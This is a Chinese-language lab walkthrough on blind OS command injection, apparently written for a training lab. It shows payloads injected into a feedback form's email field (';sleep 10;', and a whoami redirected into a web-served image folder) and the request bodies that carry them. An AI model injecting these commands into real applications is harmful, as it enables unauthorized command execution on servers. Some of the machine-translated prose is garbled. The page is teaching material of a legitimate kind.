> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/command-injection/blind-os-command-injection-with-output-redirection.md).
# 通过输出重定向的盲 OS 命令注入
### 带输出重定向的盲 OS 命令注入
#### 实验描述
* 该应用存在系统命令注入漏洞 **盲目** 在反馈功能中。
* 用户输入数据被注入到服务器端 shell 命令中。
* 该命令的输出 \*\*不会直接返回\*\* 在 HTTP 响应中。
* 不过，有一个可访问的书面记录：/ `/var/www/images/`
* 该应用提供由此目录生成的目录图片。
* 因此我们可以 **将输出重定向** 到该文件夹中的一个文件中，然后通过图片加载 URL 读取该文件。
**实验目标：** 运行 `whoami` 命令并获取其输出。
```bash
;sleep 10;
```
#### 注入检测（时间延迟）
使用的是反馈表单。/ 该 **email** 字段存在漏洞：当你注入延迟时，响应大约需要 10 秒。
注入到 `email` 字段中的有效载荷：
{% code overflow="wrap" %}
```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```
{% endcode %}
10 秒延迟证实了命令注入。
#### 带输出重定向的操作
目的：将……的输出重定向到 `whoami` 到……中的一个文件 `/var/www/images/`.
注入到 `email` 字段中的有效载荷：
```
;whoami > /var/www/images/test.txt;
```
请求正文示例：
{% code overflow="wrap" %}
```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```
{% endcode %}
此命令会创建（或覆盖） `test.txt` 该文件位于可通过 Web 访问的目录中。
```bash
/image?filename=test.txt
```
#### 结果恢复
要读取 `whoami` 保存在文件中的输出，我们调用提供图片文件夹中文件的 URL：
---
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